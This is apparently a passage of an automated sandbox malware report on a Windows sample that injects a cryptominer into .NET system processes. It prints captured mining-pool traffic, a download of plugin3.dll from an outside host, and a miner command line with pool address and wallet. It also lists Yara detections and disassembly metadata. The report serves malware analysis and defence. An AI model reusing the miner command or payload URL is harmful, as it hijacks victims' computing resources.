Oct 8, 2024 02:39:54.023521900 CEST	386	IN	Data Raw: 7b 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 62 65 66 65 39 31 62 38 30 36 61 39 62 35 34 39 61 63 66 39 38 63 34 35 35 33 36 37 39 31 33 37 63 33 36 35 39 65 32 62 31 63 63 62 Data Ascii: {"method":"job","params":{"blob":"1010befe91b806a9b549acf98c4553679137c3659e2b1ccb19b939bfee2d1b6e24d155211aa93300000000404378304b0871b1fae73ca311defc49008aba8f3f9eaefa9f444fa73913a42b02","job_id":"267827403579263","height":3254208,"seed_hash"
Oct 8, 2024 02:39:57.070302963 CEST	386	IN	Data Raw: 7b 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 62 6c 6f 62 22 3a 22 31 30 31 30 64 63 66 65 39 31 62 38 30 36 61 39 62 35 34 39 61 63 66 39 38 63 34 35 35 33 36 37 39 31 33 37 63 33 36 35 39 65 32 62 31 63 63 62 Data Ascii: {"method":"job","params":{"blob":"1010dcfe91b806a9b549acf98c4553679137c3659e2b1ccb19b939bfee2d1b6e24d155211aa9330000000061fb01cce83590a23f9796c2be267a2ecd4fd766f52719567315584499d2654e08","job_id":"417445063453852","height":3254208,"seed_hash"
Oct 8, 2024 02:40:03.087136984 CEST	199	OUT	Data Raw: 7b 22 69 64 22 3a 34 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 73 75 62 6d 69 74 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 69 64 22 3a 22 32 35 34 38 35 32 30 36 30 36 36 30 32 37 32 22 2c 22 6a 6f 62 5f 69 64 Data Ascii: {"id":4,"jsonrpc":"2.0","method":"submit","params":{"id":"254852060660272","job_id":"417445063453852","nonce":"16080000","result":"a31fb31936df0f82394436a77a55aeedd841cb709136927b7ab28b5b115b1200"}}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	172.67.173.168	443	2144	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 00:39:17 UTC	71	OUT	GET /plugin3.dll HTTP/1.1 Host: sck-dns.ws Connection: Keep-Alive
2024-10-08 00:39:17 UTC	622	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 00:39:17 GMT Content-Type: application/octet-stream Content-Length: 2355928 Connection: close Last-Modified: Tue, 17 Sep 2024 20:30:00 GMT ETag: "66e9e6c8-23f2d8" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ngz70OYPf4Ug26ezDJq2Y4u4oSp188heUckyCU%2Blib0TSBYq0UCv3RpNyqDGBkxEVvLeMLVQmWqXXGrnFJnXRWLiZGSJsPW8Um2Tq9WLD%2BM82x914sRvmzYMXIX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf212ac0c278cc0-EWR
2024-10-08 00:39:17 UTC	747	IN	Data Raw: d9 95 ab 1c d1 71 65 93 28 37 f3 10 6a 55 eb 1c 69 09 51 c6 20 c3 55 0c 51 88 16 dd ba 02 27 cb af 21 d0 5d fa cf 88 33 82 04 7c c6 bc a6 fe 1d a3 6c 85 01 12 62 1b 7f 82 4a 66 aa 6a 81 ad 47 2c 31 76 89 97 df 17 5a a4 77 b2 2f 03 1d 43 81 96 15 d2 85 cc 84 cf cb 32 b2 c9 88 05 d9 f7 12 42 8b 96 19 62 e1 db a8 d2 e4 52 b0 55 d1 fe 96 21 ce 01 f9 7c 43 89 e2 1a d0 85 1e b2 c8 42 33 58 48 12 fd 61 9b 1b ba 3e bd c7 80 9e d2 1a c1 32 b4 33 30 80 d2 97 c9 64 85 97 dc 43 ba f9 ed da 83 c3 ff c3 fc f5 ac f6 00 51 fc 8b 80 50 49 ac e0 96 5c bf e2 84 c0 e1 7f 10 1a 17 02 ae 7f a0 49 33 0a a3 e6 2f bd 67 58 8c 8c f7 f5 37 aa 81 d7 f9 80 bd a2 92 cc 03 d1 62 d7 e0 24 0a bb ef 6b 90 c3 79 f8 15 55 4e 3b 7d d0 69 79 dc 98 b4 a2 ae 1e 25 fe b3 55 24 ee e2 70 71 a3 fd Data Ascii: qe(7jUiQ UQ'!]3\|lbJfjG,1vZw/C2BbRU!\|CB3XHa>230dCQPI\I3/gX7b$kyUN;}iy%U$pq
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: f4 2d 45 fd d0 6f 81 97 cc 02 7f 6c 11 76 b1 83 1e 3d 5e 77 22 5f b4 c5 40 6b 9c 04 56 60 28 38 f3 5b 89 8a 4b 6f e7 61 0f 2f ff 45 e6 f5 2c 28 35 c2 c3 ec 52 4a 13 ab e2 cf d6 d5 b1 75 ff 4c fe 21 b5 71 2c 9a bd 48 9c 63 89 fe a3 5e c3 29 f3 c9 50 f6 56 82 0f 9d cc d1 a9 49 96 dc f9 ab cb b6 4d b1 ac 03 be 77 3f c2 fd 94 81 00 6a 01 4c d6 79 36 de c2 5b 36 a2 84 b2 d5 cc 7b 4f 62 8b 82 e9 d3 33 f4 bf e6 a5 55 3e ae 25 82 e4 54 a2 c1 d4 54 f9 1d 69 61 53 3f 00 da 57 5a 5d 52 46 83 8e 7c 63 a3 02 d9 bc 91 40 43 7c f0 39 bd 09 4e 18 e1 12 06 e7 4c 35 e5 cc 44 9b 57 33 84 8c 01 7e a7 20 2f 25 e6 77 16 17 73 a7 43 e7 b5 3b 6f 5d 89 64 7f cc 2d fb 4c f6 df 05 c1 7c 2c 28 49 e1 91 34 50 da 63 8c 44 bd 5d f9 43 03 3d 52 be cb 4d 75 f6 e7 1a eb b6 41 0e f1 7d fe Data Ascii: -Eolv=^w"_@kV`(8[Koa/E,(5RJuL!q,Hc^)PVIMw?jLy6[6{Ob3U>%TTiaS?WZ]RF\|c@C\|9NL5DW3~ /%wsC;o]d-L\|,(I4PcD]C=RMuA}
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: f6 53 f0 14 0a 81 9d 0f d0 c4 da 05 91 ae 70 33 26 1c ed d5 6b d3 36 e3 f4 83 8c c1 f5 45 8a 80 be 52 11 be 70 bf 2e 3b 8d 9b 2c 45 98 f2 68 75 75 5b 52 75 22 6b 8d 3a 3b 8d 73 95 fa b1 56 5b 79 3a cd 93 b6 2a ff 25 03 c9 38 08 1d 0a 30 ec ae 1a 35 76 90 62 05 42 bb c1 b7 9d 5d f6 5a 5c 61 9c df d6 9a b3 36 10 97 f8 e7 37 66 ef ac 64 94 af 31 92 4c 64 a7 68 62 76 3b b5 a9 c9 34 73 8d e7 b3 c4 ec f7 f5 82 0d 06 be c1 c9 74 5c fe 26 76 08 e8 fc d0 09 3c e3 ac 0b 6c 88 3a d0 5c 5b c9 1a 44 66 f7 d0 ac a5 0f 51 1b 7f 1c c2 40 a9 1d be df e7 44 eb fa 17 c2 bb 61 ff 3f b7 00 24 04 e2 63 99 17 56 0c dd 4e 69 62 98 f8 95 c1 d4 9b d0 8d 26 72 62 d7 4e 83 2d 44 7d 4b 65 20 5f 0e b2 ff 9c 29 54 37 b7 31 93 8c f9 c5 74 df 38 b1 64 88 31 37 44 ea c9 80 5e d7 22 08 fe Data Ascii: Sp3&k6ERp.;,Ehuu[Ru"k:;sV[y:*%805vbB]Z\a67fd1Ldhbv;4st\&v<l:\[DfQ@Da?$cVNib&rbN-D}Ke _)T71t8d17D^"
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: d8 ce 9a ad ff 3b 33 85 a0 2d 74 8c 7e 55 54 11 c7 67 03 08 86 fe 3d e6 6d ea ed 2d bb d0 b2 d7 49 b4 11 2a 36 46 38 25 e2 a4 bb 98 56 d6 b9 41 47 30 be b4 2e 10 b8 37 34 e0 21 89 f7 8b 8f 9f 5e 53 be da 32 40 3d 09 6e 80 cd 3e 00 92 c2 95 88 46 ef 64 8d 0d c4 bf 6a ef ca b0 54 67 1a 52 f4 3c d8 3b 1a c2 a9 38 61 12 4d ab 4b 81 3b 9b 74 ab f9 80 6a ae bc c8 30 db ae 22 20 70 e4 4d cf b2 06 7f 6b b5 b3 3e 57 fb d5 6d 0b d1 75 5f 43 88 96 93 c4 ef 8f 86 8c 67 ab ad ec 5e 19 5e 81 44 4c b9 ae bf 9e 4a 82 35 63 5a 90 ab d1 d0 dc 1e d4 7d 3d a7 05 2a 72 b4 e1 b1 2d 82 1f 66 9c 1f 2f 06 2a e6 2d 34 72 0d ec ad 46 57 33 76 40 5a 85 60 f3 04 dc 8e 57 f9 03 66 03 e3 d6 bd 84 b0 4e 4e 09 2a 12 d0 23 09 eb 36 b7 56 d7 b1 a5 c3 06 af f6 c1 1f 41 54 58 04 94 25 99 42 Data Ascii: ;3-t~UTg=m-I6F8%VAG0.74!^S2@=n>FdjTgR<;8aMK;tj0" pMk>Wmu_Cg^^DLJ5cZ}=r-f/-4rFW3v@Z`WfNN#6VATX%B
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: 27 24 f2 54 ad 9d f2 eb 91 3e 0f 7e 48 37 bc b3 cb 64 c9 84 01 f0 11 d2 89 a5 4e 89 89 aa e6 dd 3c 96 dd 73 b5 da f9 24 33 f6 26 1c 83 fc 38 ab a0 b0 1a e6 b3 d7 37 82 44 a5 68 fa 65 6f 14 53 99 0d 65 c1 c2 f5 9d 64 cd 01 44 bd 07 eb b3 ba d6 0e 00 ac 00 19 7e c8 09 67 68 17 aa ae 86 3f 27 ae 45 b8 0d c2 b3 71 b9 6f a7 b7 36 dc e6 7a 2f c1 05 2b 5f c2 72 e5 a1 b5 e1 9f a2 cf 4e 28 55 45 d3 c8 5b 33 86 5e 42 c5 09 c9 2e 04 74 ff 00 bb 89 b9 b5 4d 4d 35 00 da ff e8 f6 07 b4 57 6f 81 cc f4 8e cd 81 45 48 a0 2f 0e 59 23 c2 15 76 1e ab 72 ff 2b aa 1d cb 10 84 fd 1d fe 23 64 e8 5c 9c 26 71 8a 6d 2d 61 ad 7e 87 8b 2d cf 6d 3b a5 6a 22 e5 1d 2e 58 ce dc de 57 c4 f2 53 4e e3 ea 88 f3 66 1a b6 c5 d3 2c ff f8 31 7a bd 64 77 c4 89 41 2d 32 31 8f c4 d0 03 ed b4 82 62 Data Ascii: '$T>~H7dN<s$3&87DheoSedD~gh?'Eqo6z/+_rN(UE[3^B.tMM5WoEH/Y#vr+#d\&qm-a~-m;j".XWSNf,1zdwA-21b
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: ae f2 d7 f3 12 3d 1e d3 32 45 d7 62 6b 67 43 15 8d 5c 3d 33 1a ef ea cb 3f f3 46 a3 4e 49 cb 22 8e 73 fe fb 24 93 0b 42 d4 c8 7e 56 52 44 dc 51 d8 22 92 be ad 0d a4 dc 9b 63 ab c4 6b a8 7d 9d ca 75 42 92 9c 62 1d 10 e1 b5 3a 87 7e 3e ce 65 79 03 9c 5e eb 22 66 bc ad d0 e3 76 d6 01 21 f1 85 db f6 de 09 e2 44 b1 b9 bb ca 60 ca 96 37 66 4f d8 11 51 21 57 6f fc 2d bd c5 6c d9 61 02 fc 02 fd 5e 79 36 95 56 8f 9a c4 ac d5 c5 7e 15 1a cc 9b ff 62 ce 36 f8 42 1b 39 05 95 20 c7 f3 c0 65 80 cd 70 fc 4f 10 8d 35 c2 84 39 ee 8d b2 0f 48 de ed b3 c7 ef 35 0b 00 eb 4a de fa b1 63 4e 39 91 82 ab dd 32 ed 5e c0 09 ab e5 e4 ef 29 72 77 b9 0f f1 05 f3 58 bd 22 f8 03 3c 0a 31 ac 90 eb df 16 87 a2 c2 20 ec ab d2 18 21 d7 24 f6 e7 3b d0 7c 40 fa 4f b3 93 09 f4 21 e2 16 31 b8 Data Ascii: =2EbkgC\=3?FNI"s$B~VRDQ"ck}uBb:~>ey^"fv!D`7fOQ!Wo-la^y6V~b6B9 epO59H5JcN92^)rwX"<1 !$;\|@O!1
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: 46 ec 63 b5 39 d2 15 be ea 6c 55 f9 04 95 e7 56 df e4 4c bf fc fd 60 4a c1 7f 9a 26 01 72 9f 8c 03 98 99 fc 9a fd d2 9b 08 85 e2 b9 2e 1a 78 56 bc 3d 31 04 0e 35 b0 bc 2e 71 95 c8 e6 8e 1c c0 f9 49 ae 27 00 91 7f 03 4e cb e7 47 e0 0d 9e fb 99 6b d2 33 12 a1 81 8e 03 08 4a a0 bf 84 33 7f 0d ba b3 3c 93 12 da 9d 0b 1f d2 1c 81 1c 10 25 0b b6 d9 3e e0 69 3f 87 d9 1e 13 71 17 44 fa df c1 c5 35 a2 52 d2 c2 a7 d2 bb 35 bd 82 c9 51 58 29 74 2a 56 40 04 11 ff 49 77 57 24 9f 9e 8c 1e a9 1d 26 43 7a 9c dc 90 d6 f5 d4 a1 f0 76 a3 ec 47 a7 95 0e 36 5c a2 af 5c 26 a9 63 32 62 46 4c 84 79 f4 0e a6 8e e2 b5 77 a8 36 d7 a2 5e b0 9f 58 4a 92 6d 2c 20 a2 4d eb 7d 30 5e ea a4 74 9c b4 43 4e b1 8e 60 b3 b1 be d5 a2 65 81 e8 c8 12 45 52 e0 e0 b7 ec 68 76 a9 d2 81 07 42 62 49 Data Ascii: Fc9lUVL`J&r.xV=15.qI'NGk3J3<%>i?qD5R5QX)t*V@IwW$&CzvG6\\&c2bFLyw6^XJm, M}0^tCN`eERhvBbI
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: d8 a9 0a e3 14 2f cd 02 76 cb 7b dc 52 87 9d c1 ee ea 93 5a 24 13 02 95 ed 1b 3b d8 d7 8a b9 e9 ac 11 32 36 40 62 12 b0 57 c3 d5 dc a8 44 f1 e2 08 7d 81 bd 66 23 6d 0b 59 0c a6 6b 9a cb c0 ea e4 10 63 32 6f a1 cc 75 42 81 6b f4 40 2f 35 b9 f6 c3 44 bb f9 4c 66 9f 04 34 78 94 57 28 09 25 c7 0a 7a ab 10 c6 74 d1 1e 77 89 85 18 0d f1 72 2f 6d e3 9d 9a 95 ed 96 e9 e0 2c f4 e7 f2 a5 0d e4 9b e3 a4 4d f2 f8 c1 04 89 83 cb da 6b ed 7f 5e 03 e6 b9 f7 9b 4b 63 3e 2b bb bd 6c 4f bd 3d 36 15 90 9f d0 30 ba 40 61 d7 4c 6a 35 b5 de a5 49 0e 26 2b e6 c6 9d 41 96 c8 5c a8 16 83 72 47 9b b6 5e f3 2d c0 1d 4b a2 4d eb bd 82 f7 e2 61 71 c4 95 94 ca 53 8b c2 c3 ed ac fc 94 43 f0 47 64 7f 5e 35 9d f2 14 35 e5 d2 0f 05 a9 f5 8c f8 19 06 c0 b9 b8 3d c7 9c b1 fe d3 ea 14 7e 18 Data Ascii: /v{RZ$;26@bWD}f#mYkc2ouBk@/5DLf4xW(%ztwr/m,Mk^Kc>+lO=60@aLj5I&+A\rG^-KMaqSCGd^55=~
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: ec 39 80 8d 72 34 2f b8 c9 17 f8 39 a1 0d 20 63 66 88 41 4f 96 bd 33 3a 42 3f 78 1f 8f 54 55 bc ef b2 e1 c8 be 82 d2 6f ad 36 0c e8 23 4f 1b 4e 75 3b cc 9c 54 de 9f f1 53 8c b5 a2 58 bf ac b4 99 44 25 97 84 5b 12 e3 31 d8 3b c6 82 bc 43 a3 19 ab 44 82 87 68 f9 a8 c1 e0 6c 5e 2a 15 c6 3c 62 4d c6 11 91 dc d5 4a 55 41 ca 23 51 82 e6 aa 1b 08 19 85 f1 54 dd 96 d6 82 26 55 c1 6e 3f 83 75 99 26 dc 30 df bc ca eb 6f a3 f4 37 e4 f1 05 6a 5d 23 20 b1 68 e2 f0 d8 0f 45 2c 59 46 03 9c b1 91 2b 1d dd 7c 33 72 fa e0 a2 12 35 7c c7 bb bf 70 8f 20 e8 db 23 26 87 2a ee 88 b6 23 f4 7d 06 e3 1a 92 7d 9a c7 cc c6 71 a7 bd 5f fc aa 0b 8f e7 05 d7 0d b3 1f 34 f8 e0 38 1a 0b a3 c7 ee 6b 92 5a 0c 86 94 5d b1 e3 b1 d0 1f a2 7e 82 42 6d 4d bd 31 b0 31 79 76 22 5e 3b d4 22 c6 b2 Data Ascii: 9r4/9 cfAO3:B?xTUo6#ONu;TSXD%[1;CDhl^<bMJUA#QT&Un?u&0o7j]# hE,YF+\|3r5\|p #&#}}q_48kZ]~BmM11yv"^;"
2024-10-08 00:39:17 UTC	1369	IN	Data Raw: 5d 20 e4 63 28 c5 34 68 1a 55 14 51 68 1d 19 8b 26 1f 89 cd 8a 9a 1e d7 61 92 e8 c0 18 d2 b0 87 4e 5e 5d 7e ad f3 af 6c a2 d6 ba 3a fe d7 8c e2 84 cb 49 02 98 2f 2f cf 1e 6a be 96 6a 29 0e ac 95 df 18 c1 75 1e 29 a5 0a 69 54 d6 a5 2d c5 29 3d 3a 21 df 6b bd 22 28 78 1b 10 35 e4 56 d7 95 a4 50 5d 16 1d 8a fb 5f 78 d3 97 31 1f 50 2a 0d d8 d9 7c 2e 4e fd 86 bc 48 7d 2d 80 5b 4f 0f dd 76 ca b3 43 ec ae a6 01 8b 83 d3 87 83 10 fc 57 15 08 81 89 b0 f6 5b 0f ab ef 4c 7d c9 82 a2 68 d6 cc aa ff 1b e0 67 2b 61 f9 26 1b 18 1e ea e3 2e e9 12 8f 98 92 d7 68 44 11 44 25 88 7c 7a 32 a6 60 4c 6d f2 5a aa 95 be 3c 47 05 fc a0 7a a4 4e c1 3d 1c 1d e9 7c 4f 12 d0 8d d6 12 3d 47 ea c5 97 2b 6b 18 b3 4d b5 53 fe 1f ec 0d b8 a6 06 1f f7 33 f9 1e c7 b9 b6 af 02 68 02 a6 6b 14 Data Ascii: ] c(4hUQh&aN^]~l:I//jj)u)iT-)=:!k"(x5VP]_x1P*\|.NH}-[OvCW[L}hg+a&.hDD%\|z2`LmZ<GzN=\|O=G+kMS3hk

Target ID:	0
Start time:	20:38:59
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\2ngxhElaud.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\2ngxhElaud.exe"
Imagebase:	0x1431b210000
File size:	1'826'816 bytes
MD5 hash:	B353EEF73CF06A89BF3D199050783F77
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1838052867.0000014335CF0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1816376594.000001431D021000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1825548079.000001432D1D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:39:13
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe"
Imagebase:	0x246426f0000
File size:	41'552 bytes
MD5 hash:	909A1D386235DD5F6BA61B91BA34119D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.4145350381.00000246443B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000001.00000002.4164872758.0000024655720000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000001.00000002.4145704834.0000024644431000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:39:23
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 51.222.111.116:80 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.x -p x --algo rx/0 --cpu-max-threads-hint=50
Imagebase:	0x1e5c1b60000
File size:	42'800 bytes
MD5 hash:	929EA1AF28AFEA2A3311FD4297425C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000005.00000002.4139261361.0000000140465000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.4145824262.000001E5C1C18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.4139261361.0000000140799000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000005.00000002.4139261361.0000000140000000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 00007FFD9BA70098 Relevance: 8.2, Strings: 6, Instructions: 736COMMON

Download Yara Rule

Strings

0_^O, xrefs: 00007FFD9BA70722
0_^c, xrefs: 00007FFD9BA70772
0_^a, xrefs: 00007FFD9BA7076A
0_^_, xrefs: 00007FFD9BA70762
0_^Q, xrefs: 00007FFD9BA7072A
0_^e, xrefs: 00007FFD9BA7077A

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: 0_^O$0_^Q$0_^_$0_^a$0_^c$0_^e
API String ID: 0-4049998837
Opcode ID: 405d1caf0efbd3c3443a62aee90f45351a0eb894b26d9c129db377130ea9a0dd
Instruction ID: 66b53fcaffc266e3e6e790ca0c8fd95fd6a02dc787018a993543b57c0a627961
Opcode Fuzzy Hash: 405d1caf0efbd3c3443a62aee90f45351a0eb894b26d9c129db377130ea9a0dd
Instruction Fuzzy Hash: FB228A22F0EA894FEB79A77C98A55E93BD0EF45324B1901FBD08DC71E3DD5868068385

Function 00007FFD9BA72785 Relevance: 2.6, Strings: 1, Instructions: 1332COMMON

Download Yara Rule

Strings

s6_H, xrefs: 00007FFD9BA72F91

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: s6_H
API String ID: 0-1024246133
Opcode ID: 9a7562cfcdb5499bf5c29470418e6f5a3a35801977410e4e367fe9ebaa1fa986
Instruction ID: c642af01f59bbdfc0d8364e465cf66df670ada518cde0b3f1ba565dfb603525e
Opcode Fuzzy Hash: 9a7562cfcdb5499bf5c29470418e6f5a3a35801977410e4e367fe9ebaa1fa986
Instruction Fuzzy Hash: C4924471B0EA4A4FEB58EB6CD8A16A977D1FF95304F0501BAD489C72D3DE24E902C781

Function 00007FFD9BA739D4 Relevance: 1.7, Strings: 1, Instructions: 455COMMON

Download Yara Rule

Strings

0_^, xrefs: 00007FFD9BA73B01

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: 0_^
API String ID: 0-3386329198
Opcode ID: 9d0c677034cf3d1834e564d27a979c5654676fba273a550e132a913721226e5f
Instruction ID: 1f96fafe47a1963540013c719b3b8d4df4a7590c9d7c20ea5ccd5df7445b208b
Opcode Fuzzy Hash: 9d0c677034cf3d1834e564d27a979c5654676fba273a550e132a913721226e5f
Instruction Fuzzy Hash: DBE1F762A0D6A59FD71AFBB8E8755E97FA0EF01328B1801FBD08DCB1A7DD586446C340

Function 00007FFD9BA73AD4 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

0_^, xrefs: 00007FFD9BA73B01

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: 0_^
API String ID: 0-3386329198
Opcode ID: 4dbdfca0d72616f7173441412beb737c86b856c0a8abd4bdd242277212697ae7
Instruction ID: 08a1838178ee7adf91a3059a1f15d34e44440c525019444ef6d7d213c9e63044
Opcode Fuzzy Hash: 4dbdfca0d72616f7173441412beb737c86b856c0a8abd4bdd242277212697ae7
Instruction Fuzzy Hash: 11C1F671A0D6A98FD74AFBB8E8755E97FA0EF05318B1801BBD08DCB1A3DA586446C340

Function 00007FFD9BA73CE5 Relevance: 2.8, Strings: 2, Instructions: 320COMMON

Download Yara Rule

Strings

/_L, xrefs: 00007FFD9BA73D6D
@, xrefs: 00007FFD9BA741E7

Memory Dump Source

Source File: 00000000.00000002.1842872368.00007FFD9BA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9ba70000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: @$/_L
API String ID: 0-2626219299
Opcode ID: 8c777ae1a695eb98a5fbc8dcd0c3aa463b92c4cc9c7be5d8503e624de70a0964
Instruction ID: 0c364e661812aec141026e8f82676daf4c88f65aed1fb57cfcc3544363984613
Opcode Fuzzy Hash: 8c777ae1a695eb98a5fbc8dcd0c3aa463b92c4cc9c7be5d8503e624de70a0964
Instruction Fuzzy Hash: EC91E731F1E60E4FE6749B9894A637D77C1EB95314F16027ED48EC32F2DE58A9428382

Function 00007FFD9B9C1520 Relevance: 2.4, Strings: 1, Instructions: 1107COMMON

Download Yara Rule

Strings

&;_H, xrefs: 00007FFD9B9C1653

Memory Dump Source

Source File: 00000000.00000002.1841882084.00007FFD9B9C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b9c0000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: &;_H
API String ID: 0-3372723638
Opcode ID: 9b2402e21b5d267438d0c0ea4cba74a26d6de4738f4d192d42ab90b8bb892ec1
Instruction ID: c6e51d2aa92adb36d8a7e059cae495d8b1d68fae25d32cb74d592a3bbf1cc796
Opcode Fuzzy Hash: 9b2402e21b5d267438d0c0ea4cba74a26d6de4738f4d192d42ab90b8bb892ec1
Instruction Fuzzy Hash: A2826E71E19A2EAFEFA4EF98C4A56B877B1FF68344F110175D00DE31A2DB3469818B44

Function 00007FFD9B8BBD30 Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B8BBEB5

Memory Dump Source

Source File: 00000000.00000002.1840808570.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 7ad99dd09bb71803ae689e751b3ea12f39cb462a489a1d9d462828405873021e
Instruction ID: fbc036a970563bd6c59c9b13488bead2c461a59095dbc821e165815691a81e90
Opcode Fuzzy Hash: 7ad99dd09bb71803ae689e751b3ea12f39cb462a489a1d9d462828405873021e
Instruction Fuzzy Hash: D1B1E47050DB898FD7969B7888687A87BE1FF46320F0401FED459CB2E2DB6C2946CB51

Function 00007FFD9B8B07D3 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

?L_, xrefs: 00007FFD9B8B0804

Memory Dump Source

Source File: 00000000.00000002.1840808570.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b8b0000_2ngxhElaud.jbxd

Similarity

API ID:
String ID: ?L_
API String ID: 0-1051743420
Opcode ID: de6b3722fb51e605f91b7ab33be355d68d8ec7f0f37e52ccc392aa50525fbba2
Instruction ID: 30db7239e945aa3fc96f0c7824b9baf8eaf059a942cff1620b7b143b53a500a3
